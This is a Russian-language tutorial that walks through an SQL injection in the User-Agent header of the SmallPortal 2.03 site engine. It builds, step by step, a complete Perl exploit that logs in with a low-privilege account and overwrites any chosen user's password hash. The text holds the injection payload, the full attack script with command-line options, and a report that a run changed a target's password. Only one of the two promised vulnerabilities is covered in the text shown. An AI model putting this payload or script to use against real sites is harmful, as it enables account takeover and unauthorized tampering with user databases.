Ниже мы попытаемся подробно разобрать как устроены и используются две уязвимости обнаруженные нашей командой в движке для сайтов SmallPortal версии 2.03.
На самом деле их было обнаружено намного больше, но только к двум из них были написаны эксплойты. Мы же, в свою очередь, подробно изучим эти две уязвимости и напишем к ним 2 своих эксплойта полностью с нуля.

Первая уязвимость была обнаружена в скрипте system.php, находящемся в директории /inc/auth_function. Откройте данный скрипт и обратите внимание на строку 18:

define("_SN_USERAGENT", substr((trim ($_SERVER['HTTP_USER_AGENT'])), 0, 80));

Данный код создаёт константу _SN_USERAGENT и присваивает ей значение ячейки HTTP_USER_AGENT, глобального массива $_SERVER. В $_SERVER['HTTP_USER_AGENT'] находится информация о браузере пользователя. Данный заголовок пакета формируется на стороне клиента.

Далее спуститесь ниже по коду и обратите внимание на строку 68:

$db->sql_query("UPDATE ".$conf['member_prefix']."_members SET user_actkey = '$user_actkey', user_agent = '"._SN_USERAGENT."', last_ip = '$last_ip', last_date = '$last_date' WHERE user_id='$setuid'");

Здесь мы видим что с помощью UPDATE-запроса изменяется содержимое таблицы members. В конструкции запроса есть 4 переменных и одна константа.
Переменные формируются следующим образом:

1. Содержимое переменной $user_actkey формируется в строках 61-63 следующим кодом:
   $maxran = 1000000;
   $user_actkey = mt_rand(0, $maxran);
   $user_actkey = md5($user_actkey);
   Как видно – значение этой переменной нам неподвластно. Смотрим дальше.
2. Константа _SN_USERAGENT. В ней лежит информация о браузере клиента. Информация из этой константы никак не проверяется и тем более не изменяется потому что содержимое констант менять невозможно.
3. Переменная $last_ip содержит IP-адрес клиента. Она формируется в строке 66 следующим кодом:
   $last_ip = $_SERVER['REMOTE_ADDR'];
   Поле REMOTE_ADDR никак не подделать. Идём дальше.
4. Следующая переменная - $last_date. Она формируется прямо перед запросом в строке 67:
   $last_date = time();
   На её содержимое мы тоже не можем повлиять.
5. И последняя переменная - $setuid. Формируется она следующим кодом (строка 64):
   $setuid = $row['user_id'];
   Массив $row образуется при SQL-запросе в строке 55.

Итак. Мы осмотрели все переменные и константу, и пришли к выводу что можем произвольно формировать лишь константу _SN_USERAGENT.

Раз данные из поля HTTP_USER_AGENT никак не фильтруются то мы можем обратится к странице с произвольным его значением и вставить какой угодно SQL-код в этот заголовок. Теперь представим запрос в чистом виде. Пусть префикс у нас будет "sn_", ключём активации($user_actkey) – 0, IP-адресом клиента – 127.0.0.1, датой последнего посещения – 1, номер пользователя будет 1, а в поле HTTP_USER_AGENT будет лиш слово Mozilla.
При таких данных в строке 68 сформировался бы следующий запрос:

UPDATE sn_members SET user_actkey = '0', user_agent = 'Mozilla', last_ip = '127.0.0.1', last_date = '1' WHERE user_id='1';

Целью эксплойта от нашей команды была смена пароля у произвольного пользователя. Давайте посмотрим как этого можно добиться? Начнём с того что хэш пароля хранится в таблице members, в поле user_password. В запросе, сформированном в строке 68 как раз изменяется таблица members. Следовательно нам нужно только добавить в запрос новое содержимое поля user_password, указать хэш пароля и изменить номер пользователя. Пусть хэшем пароля будет c4ca4238a0b923820dcc509a6f75849b (это хэш единицы) а номер атакуемого пользователя будет 2. Тогда в поле HTTP_USER_AGENT должно быть следующее значение:

',user_password='c4ca4238a0b923820dcc509a6f75849b' WHERE user_id=2/*

Давайте посмотрим на запрос который получится в итоге если поле HTTP_USER_AGENT будет содержать вышеописанное значение:

UPDATE sn_members SET user_actkey = '0', user_agent = '',user_password='c4ca4238a0b923820dcc509a6f75849b' WHERE user_id=2/*', last_ip = '127.0.0.1', last_date = '1' WHERE user_id='1');

В теле запроса подчёркнута та часть которую мы добавили. Так как наш подставной запрос заканчивается на «/*» то всё что после этих символов – воспримется как комментарий. В итоге выполнится только следующий SQL-код:
UPDATE sn_members SET user_actkey = '0', user_agent = '',user_password='c4ca4238a0b923820dcc509a6f75849b' WHERE user_id=2

Из запроса видно что он действительно меняет хэш пароля у пользователя с номером 2. Схему работы уязвимости мы разобрали, теперь перед нами стоит задача написания рабочего эксплойта.

Единственным требованием для использования нашего эксплойта будет наличие действующего аккаунта на сайте. Не имея аккаунта мы не сможем авторизироваться, следовательно не сможем подделать запрос. Я зарегистрировал аккаунт "Maya" с паролем "jum26Fn" и аккаунт "Kuzya" с паролем "saf37Rn". Вы так же должны зарегистрировать 2 любых аккаунта. Теперь нам нужно осмотреть форму авторизации. Вот код формы быстрой авторизации которая находится на правой панели:

```
<form action="index.php?go=Members" method="post">
<table border="0" cellpadding="0" cellspacing="2" width="100%">
<tbody>
<tr><td>Логин:</td>
<td align="right">
<input name="user_name" size="10" type="text">
</td></tr>
<tr><td>Пароль:</td><td align="right">
<input name="user_password" size="10" type="password">
</td></tr>
<tr><td colspan="2">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td width="100%">Запомнить меня</td><td>
<input name="autologin" type="checkbox">
</td></tr></tbody></table></td></tr>
<tr><td colspan="2">
<input name="login" value="Войти..." type="submit">
</td></tr><tr><td colspan="2" align="center"><a href="index.php?go=Members&amp;in=new_user">Регистрация</
a>
<br>
<a href="index.php?go=Members&amp;in=lost_pass">Напомнить пароль</a></td></tr></tbody>
</table></form>
```

Отсюда видно что нам нужно отправить на сервер 4 поля:

6. user_name
7. user_password
8. autologin
9. login

Да, содержимое кнопки тоже отправляется при авторизации. При этом нам нужно указать специально сформированное поле HTTP_USER_AGENT. Всё будет происходить в одно действие. Мы просто будем посылать вместе с полями для авторизации опасный код в заголовке HTTP_USER_AGENTнужному скрипту.

Эксплойту от пользователя нужно будет передать 5 параметров:

Адрес атакуемого сайта.
Логин для авторизации.
Пароль для авторизации.
Id пользователя у которого нужно сменить пароль.
Хэш нового пароля.

Всё это мы запросим ввиде параметров к скрипту. После запуска скрипт возьмёт эти данные и пошлёт опасный запрос на авторизацию.

Для написания эксплойта мы будем использовать 3 компонента:

```
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;
```

Далее, по ходу работы эксплойта, нам нужно получить все параметры введённые пользователем, но сперва мы просто пропишем их в скрипте для проверки работоспособности:

```
# Все эти данные должны быть заменены на Ваши.
$url = 'http://smallportal/';
$login = 'Kuzya';
$password='saf37Rn';
$uid = '2';
$hash = 'c4ca4238a0b923820dcc509a6f75849b';
```

Далее мы должны определить основные переменные, нужные для проведения запроса.

```
 # Путь из корня сайта к скрипту авторизации:
my $auth_path="?go=Members";
# Создаём компонент браузера
my $browser = LWP::UserAgent->new();
# Привязываем к нему поддержку cookies.
```

```
my $cookie_jar = HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);
# В переменной $user_agent мы будем хранить нашу специально-
# сформированную строку
my $user_agent = "',user_password='${hash}' WHERE user_id=${uid}/*";
```

Далее мы должны написать саму функцию производящую атаку. Она будет называться attack():

```
sub attack()
{
# просто отправляем POST-запрос авторизации
# на сервер, с поддельным заголовком USER_AGENT
	$answer = $browser->post($url.$auth_path,
	[
# Заполняем все поля
	'user_name' => $login,
	'user_password' => $password,
	'autologin' => '1',
	'login' => "Login"],
# Указываем наш опасный заголовок
	'USER_AGENT' => $user_agent
	);
}
```

Теперь нужно собрать тестовый вариант нашего эксплойта воедино:

```
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;

$url = 'http://smallportal/';
# В переменных $login и $password укажите свой логин и пароль
$login = 'Kuzya';
$password='saf37Rn';
# в переменной $uid укажите номер атакуемого Вами пользователя
$uid = '2';
$hash = 'c4ca4238a0b923820dcc509a6f75849b';

# Путь из корня сайта к скрипту авторизации:
my $auth_path="?go=Members";
# Создаём компонент браузера
my $browser = LWP::UserAgent->new();
# Привязываем к нему поддержку cookies.
my $cookie_jar = HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);
# В переменной $user_agent мы будем хранить нашу специально-	# сформированную строку
my $user_agent = "',user_password='${hash}' WHERE user_id=${uid}/*";

sub attack()
{
# просто отправляем POST-запрос авторизации
# на сервер, с поддельным заголовком USER_AGENT
	$answer = $browser->post($url.$auth_path,
	[
	'user_name' => $login,
	'user_password' => $password,
	'autologin' => '1',
	'login' => "Login"],
	'USER_AGENT' => $user_agent
	);
}
# Теперь просто вызовем функцию атаки
&attack();
```

В таком виде эксплоит отработал отлично и сменил пароль у нужного пользователя. Но нам нужно ещё добавить код получения данных от пользователя и функцию help`a. Вот код получающий данные от пользователя:

```
$options = GetOptions (
'url=s'	=> \$url,
```

```
'login=s'     => \$login,
'password=s'  => \$password,
'uid=s'  => \$uid,
'hash=s'  => \$hash,
);
```

Функция help():

```
sub help()
{
        print "----------------------------------------\n";
        print "Usage:\n";
        print "--url= host\n";
        print "--login= username for auth\n";
        print "--password= password\n";
        print "--uid= id of target user\n";
        print "--hash= new password-hash for target user\n";
        print "----------------------------------------\n";
}
```

Данная функция будет вызываться если не указан хотя бы один из параметров. Теперь нам нужно собрать весь наш код в один скрипт внеся некоторые корректировки:

```
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;

# получаем все нужные параметры
$options = GetOptions (
'url=s'       => \$url,
'login=s'     => \$login,
'password=s'  => \$password,
'uid=s'  => \$uid,
'hash=s'  => \$hash,
);

# Если хоть один из них не введён – вызываем функцию help()
if (!$url||!$login||!$password||!$uid||!$hash) {&help();}
# Путь из корня сайта к скрипту авторизации:
my $auth_path="?go=Members";
# Создаём компонент браузера
my $browser = LWP::UserAgent->new();
# Привязываем к нему поддержку cookies.
my $cookie_jar = HTTP::Cookies->new();
$browser->cookie_jar($cookie_jar);
# В переменной $user_agent мы будем хранить нашу специально-        # сформированную строку
my $user_agent = "',user_password='${hash}' WHERE user_id=${uid}/*";

sub attack()
{
# просто отправляем POST-запрос авторизации
# на сервер, с поддельным заголовком USER_AGENT
        $answer = $browser->post($url.$auth_path,
        [
        'user_name' => $login,
        'user_password' => $password,
        'autologin' => '1',
        'login' => "Login"],
        'USER_AGENT' => $user_agent
        );
}
# Теперь вызовем функцию атаки
sub help()
{
        print "----------------------------------------\n";
        print "Usage:\n";
        print "--url= host\n";
        print "--login= username for auth\n";
        print "--password= password\n";
```

```
        print "--uid= id of target user\n";
        print "--hash= new password-hash for target user\n";
        print "-----------------------------------------\n";
}
&attack();
```

Я запустил эксплоит со следующими праметрами:
--url=http://smallportal/ --login=Kuzya --password=saf37Rn --uid=4 --hash= c4ca4238a0b923820dcc509a6f75849b
Всё прошло отлично.